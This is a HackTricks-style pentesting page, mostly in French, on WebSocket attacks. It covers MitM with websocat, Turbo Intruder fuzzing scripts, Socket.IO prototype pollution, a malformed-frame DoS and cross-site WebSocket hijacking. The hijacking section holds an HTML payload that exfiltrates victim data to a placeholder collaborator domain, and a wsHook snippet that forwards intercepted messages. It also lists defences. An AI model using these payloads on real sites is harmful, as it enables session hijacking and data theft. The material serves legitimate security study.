WebSocket Attacks

Reading time: 15 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que les WebSockets

Les connexions WebSocket sont Ă©tablies via une poignĂ©e de main HTTP initiale et sont conçues pour ĂȘtre longue durĂ©e, permettant l'Ă©change bidirectionnel de messages Ă  tout moment sans avoir besoin d'un systĂšme transactionnel. Cela rend les WebSockets particuliĂšrement avantageux pour les applications nĂ©cessitant une faible latence ou une communication initiĂ©e par le serveur, comme les flux de donnĂ©es financiĂšres en direct.

Établissement des connexions WebSocket

Une explication détaillée sur l'établissement des connexions WebSocket est disponible here. En résumé, les connexions WebSocket sont généralement initiées via du JavaScript cÎté client comme montré ci-dessous:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

Le protocole wss signifie une connexion WebSocket sécurisée avec TLS, alors que ws indique une connexion non sécurisée.

Lors de l'Ă©tablissement de la connexion, un handshake est effectuĂ© entre le navigateur et le serveur via HTTP. Le processus de handshake implique que le navigateur envoie une requĂȘte et que le serveur rĂ©ponde, comme illustrĂ© dans les exemples suivants :

Le navigateur envoie une requĂȘte de handshake :

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Réponse de handshake du serveur :

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

La connexion reste ouverte pour l'échange de messages dans les deux sens une fois établie.

Points clés du WebSocket Handshake :

  • Les en-tĂȘtes Connection et Upgrade signalent le dĂ©but d'un WebSocket Handshake.
  • L'en-tĂȘte Sec-WebSocket-Version indique la version du protocole WebSocket souhaitĂ©e, gĂ©nĂ©ralement 13.
  • Une valeur alĂ©atoire encodĂ©e en Base64 est envoyĂ©e dans l'en-tĂȘte Sec-WebSocket-Key, garantissant que chaque handshake est unique, ce qui aide Ă  prĂ©venir les problĂšmes avec les proxies de cache. Cette valeur n'est pas utilisĂ©e pour l'authentification mais pour confirmer que la rĂ©ponse n'est pas gĂ©nĂ©rĂ©e par un serveur ou un cache mal configurĂ©.
  • L'en-tĂȘte Sec-WebSocket-Accept dans la rĂ©ponse du serveur est un hash du Sec-WebSocket-Key, vĂ©rifiant l'intention du serveur d'ouvrir une connexion WebSocket.

Ces caractéristiques assurent que le processus de handshake est sécurisé et fiable, permettant une communication temps réel efficace.

Console Linux

Vous pouvez utiliser websocat pour établir une connexion bas-niveau avec un WebSocket.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Ou pour créer un serveur websocat :

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connexions

Si vous constatez que des clients sont connectés à un HTTP websocket depuis votre réseau local actuel vous pouvez essayer une ARP Spoofing Attack pour effectuer une attaque MitM entre le client et le serveur.
Une fois que le client tente de se connecter Ă  vous, vous pouvez alors utiliser:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

ÉnumĂ©ration des Websockets

Vous pouvez utiliser l'outil https://github.com/PalindromeLabs/STEWS pour découvrir, fingerprint et rechercher automatiquement des vulnérabilités dans les websockets.

Outils de débogage Websocket

  • Burp Suite prend en charge les communications MitM websockets d'une maniĂšre trĂšs similaire Ă  celle utilisĂ©e pour les communications HTTP rĂ©guliĂšres.
  • L'socketsleuth extension Burp Suite vous permettra de mieux gĂ©rer les communications Websocket dans Burp en rĂ©cupĂ©rant l'historique, en dĂ©finissant des rĂšgles d'interception, en utilisant des rĂšgles match and replace, et en utilisant Intruder et AutoRepeater.
  • WSSiP: AbrĂ©viation de "WebSocket/Socket.io Proxy", cet outil, Ă©crit en Node.js, fournit une interface utilisateur pour capturer, intercepter, envoyer des messages personnalisĂ©s et visualiser toutes les communications WebSocket et Socket.IO entre le client et le serveur.
  • wsrepl est un REPL websocket interactif conçu spĂ©cifiquement pour le pentesting. Il fournit une interface pour observer les messages websocket entrants et en envoyer de nouveaux, avec un framework facile Ă  utiliser pour automatiser cette communication.
  • https://websocketking.com/ c'est une application web pour communiquer avec d'autres sites en utilisant des websockets.
  • https://hoppscotch.io/realtime/websocket parmi d'autres types de communications/protocoles, fournit une application web pour communiquer avec d'autres sites en utilisant des websockets.

Décryptage Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.

Websocket Fuzzing

The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here.

WebSocket Turbo Intruder (Burp extension)

PortSwigger's WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components:

  • Turbo Intruder: envoi de messages en volume Ă©levĂ© vers un seul endpoint WS en utilisant des moteurs personnalisĂ©s.
  • HTTP Middleware: expose un endpoint HTTP local qui transfĂšre les corps en tant que messages WS sur une connexion persistante, de sorte que tout scanner basĂ© sur HTTP puisse sonder les backends WS.

Basic script pattern to fuzz a WS endpoint and filter relevant responses:

python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Utilisez des décorateurs comme @MatchRegex(...) pour réduire le bruit lorsque un seul message déclenche plusieurs réponses.

Faire transiter WS derriĂšre HTTP (HTTP Middleware)

Encapsulez une connexion WS persistante et transmettez les corps HTTP en tant que messages WS pour des tests automatisés avec des scanners HTTP :

python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Ensuite, envoyez HTTP localement ; le corps est transmis comme le message WS :

http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Cela vous permet de piloter des backends WS tout en filtrant les événements « intéressants » (p. ex., erreurs SQLi, auth bypass, comportement de command injection).

Gestion de Socket.IO (handshake, heartbeats, events)

Socket.IO ajoute son propre framing au-dessus de WS. DĂ©tectez-le via le paramĂštre de requĂȘte obligatoire EIO (p. ex., EIO=4). Maintenez la session vivante avec Ping (2) et Pong (3) et commencez la conversation avec "40", puis Ă©mettez des Ă©vĂ©nements comme 42["message","hello"].

Exemple Intruder:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Variante d'adaptateur HTTP:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Détection de prototype pollution cÎté serveur via Socket.IO

En suivant la technique de détection sûre de PortSwigger, essayez de polluer les internals d'Express en envoyant un payload comme :

json
{"__proto__":{"initialPacket":"Polluted"}}

Si les greetings ou le comportement changent (par ex., echo inclut "Polluted"), vous avez probablement pollué les prototypes cÎté serveur. L'impact dépend des sinks atteignables ; corrélez avec les gadgets dans la section Node.js prototype pollution. Voir :

WebSocket race conditions with Turbo Intruder

The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in config().

  • Apprenez la mĂ©thodologie et les alternatives dans Race Condition (voir “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

CrĂ©ez des frames WS dont l'en‑tĂȘte dĂ©clare une taille de payload Ă©norme mais n'envoyez aucun corps. Certains serveurs WS font confiance Ă  la longueur et pré‑allouent des buffers ; la fixer proche de Integer.MAX_VALUE peut provoquer un Out‑Of‑Memory et un DoS distant non authentifiĂ©. Voir le script d'exemple.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Activez le WS Logger pour capturer et corrĂ©ler les messages en utilisant des IDs internes.
  • Utilisez les helpers inc*/dec* sur Connection pour ajuster la gestion des IDs de message dans des adapters complexes.
  • Les decorators comme @PingPong/@Pong et les helpers comme isInteresting() rĂ©duisent le bruit et maintiennent les sessions ouvertes.

Operational safety

Le fuzzing WS Ă  haut dĂ©bit peut ouvrir de nombreuses connexions et envoyer des milliers de messages par seconde. Les frames malformĂ©s et les taux Ă©levĂ©s peuvent provoquer de vĂ©ritables DoS. N'utilisez ceci que lĂ  oĂč c'est autorisĂ©.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, est identifié comme un cas spécifique de Cross-Site Request Forgery (CSRF) affectant les handshakes WebSocket. Cette vulnérabilité survient lorsque les handshakes WebSocket authentifient uniquement via des HTTP cookies sans CSRF tokens ni mesures de sécurité similaires.

Les attaquants peuvent exploiter cela en hébergeant une malicious web page qui initie une connexion cross-site WebSocket vers une application vulnérable. En conséquence, cette connexion est traitée comme faisant partie de la session de la victime avec l'application, exploitant l'absence de protection CSRF dans le mécanisme de gestion de session.

Pour que cette attaque fonctionne, les conditions suivantes doivent ĂȘtre rĂ©unies :

  • L'authentification WebSocket doit ĂȘtre basĂ©e sur des cookies
  • Le cookie doit ĂȘtre accessible depuis le serveur de l'attaquant (gĂ©nĂ©ralement SameSite=None) ; il ne doit pas y avoir Firefox Total Cookie Protection activĂ© dans Firefox ni blocked third-party cookies dans Chrome.
  • Le serveur WebSocket ne doit pas vĂ©rifier l'origine de la connexion (ou cela doit ĂȘtre contournable)

Aussi :

  • Si l'authentification est basĂ©e sur une connexion locale (vers localhost ou un rĂ©seau local), l'attaque sera possible car aucune protection actuelle ne l'interdit (voir more info here)

Attaque simple

Notez que lors de l'établissement d'une connexion websocket, le cookie est envoyé au serveur. Le serveur peut l'utiliser pour associer chaque utilisateur spécifique à sa session websocket basée sur le cookie envoyé.

Ensuite, si par exemple le serveur websocket renvoie l'historique de la conversation d'un utilisateur lorsqu'un message contenant "READY" est envoyé, alors une simple XSS établissant la connexion (le cookie sera envoyé automatiquement pour authentifier l'utilisateur victime) envoyant "READY" pourra récupérer l'historique de la conversation.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Dans ce billet de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ l'attaquant a rĂ©ussi Ă  execute arbitrary Javascript in a subdomain du domaine oĂč la communication du web socket avait lieu. Comme il s'agissait d'un subdomain, le cookie Ă©tait sent, et comme le Websocket didn't check the Origin properly, il a Ă©tĂ© possible de communiquer avec lui et de steal tokens from it.

Voler des données d'un utilisateur

Copiez l'application web que vous voulez usurper (les fichiers .html par exemple) et, dans le script oĂč la communication websocket a lieu, ajoutez ce code :

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Téléchargez maintenant le fichier wsHook.js depuis https://github.com/skepticfx/wshook et enregistrez-le dans le dossier contenant les fichiers web.
En exposant l'application web et en faisant en sorte qu'un utilisateur s'y connecte, vous pourrez voler les messages envoyés et reçus via websocket:

javascript
sudo python3 -m http.server 80

CSWSH Protections

L'attaque CSWSH repose sur le fait qu'un utilisateur se connectera Ă  une page malveillante qui ouvrira une websocket connection vers une page web oĂč l'utilisateur est dĂ©jĂ  connectĂ© et s'authentifiera en son nom, car la requĂȘte enverra les cookies de l'utilisateur.

De nos jours, il est trÚs facile de prévenir ce problÚme :

  • Websocket server checking the origin: Le serveur websocket devrait toujours vĂ©rifier d'oĂč un user se connecte afin d'empĂȘcher des pages inattendues de se connecter.
  • Authentication token: PlutĂŽt que de baser l'authentification sur un cookie, la connexion websocket pourrait reposer sur un token gĂ©nĂ©rĂ© par le serveur pour l'utilisateur et inconnu de l'attaquant (comme un anti-CSRF token)
  • SameSite Cookie attribute: Les cookies dont la valeur SameSite est Lax ou Strict ne seront pas envoyĂ©s depuis une page d'attaquant externe vers le serveur victime ; par consĂ©quent, l'authentification basĂ©e sur des cookies Ă©chouera. Notez que Chrome assigne maintenant la valeur Lax aux cookies sans ce flag spĂ©cifiĂ©, rendant cela plus sĂ»r par dĂ©faut. Toutefois, pendant les 2 premiĂšres minutes suivant la crĂ©ation d'un cookie, il aura la valeur None, le rendant vulnĂ©rable pendant cette pĂ©riode limitĂ©e (il est Ă©galement attendu que cette mesure soit retirĂ©e Ă  un certain moment).
  • Firefox Total Cookie Protection: Total Cookie Protection fonctionne en isolant les cookies au site dans lequel ils sont créés. Essentiellement, chaque site a sa propre partition de stockage de cookies pour empĂȘcher des tiers de corrĂ©ler l'historique de navigation d'un utilisateur. Cela rend CSWSH inutilisable car le site de l'attaquant n'aura pas accĂšs aux cookies.
  • Chrome third-party cookies block: Cela peut aussi empĂȘcher l'envoi du cookie de l'utilisateur authentifiĂ© au serveur websocket mĂȘme avec SameSite=None.

Race Conditions

Race Conditions in WebSockets are also a thing, check this information to learn more.

Other vulnerabilities

Comme les Web Sockets sont un mécanisme pour send data to server side and client side, selon la façon dont le serveur et le client traitent l'information, Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.

WebSocket Smuggling

This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn't true). This could allow an attacker to access hidden endpoints. For more information check the following page:

Upgrade Header Smuggling

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks